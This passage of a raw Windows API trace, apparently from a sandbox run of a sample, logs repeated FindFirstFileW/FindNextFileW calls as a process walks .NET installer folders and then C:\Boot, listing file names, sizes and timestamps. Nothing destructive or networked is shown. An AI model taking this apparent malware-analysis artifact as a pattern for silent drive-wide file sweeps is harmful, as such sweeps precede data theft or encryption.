ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0xe0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0088.725] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0xe0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0088.725] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0xe0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0088.725] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0xe0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0088.725] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0088.726] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0088.726] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0xe0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0088.726] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0xe0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0088.726] FindClose (in: hFindFile=0xc19c38 | out: hFindFile=0xc19c38) returned 1 [0088.729] GetProcessHeap () returned 0xc00000 [0088.729] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.729] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0088.729] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0088.730] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0088.730] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0088.730] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0088.730] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0088.730] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0088.741] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0088.741] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0088.741] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0088.741] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0088.741] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0088.741] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0088.742] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0088.742] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0088.742] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0088.742] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0088.742] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0088.742] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0088.742] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0088.743] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0088.743] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0088.743] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0088.743] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0088.743] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0088.743] FindClose (in: hFindFile=0xc199f8 | out: hFindFile=0xc199f8) returned 1 [0088.747] GetProcessHeap () returned 0xc00000 [0088.747] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc5cfa0 | out: hHeap=0xc00000) returned 1 [0088.748] FindNextFileW (in: hFindFile=0xc19938, lpFindFileData=0x2b1fa88 | out: lpFindFileData=0x2b1fa88*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e572a, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0088.748] GetProcessHeap () returned 0xc00000 [0088.748] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc5cfa0 [0088.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0088.749] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="..", cAlternateFileName="")) returned 1 [0088.750] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="BCD", cAlternateFileName="")) returned 1 [0088.750] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0088.751] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0088.751] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0088.751] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0088.751] GetProcessHeap () returned 0xc00000 [0088.751] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\bg-BG\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.753] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.753] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.753] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, 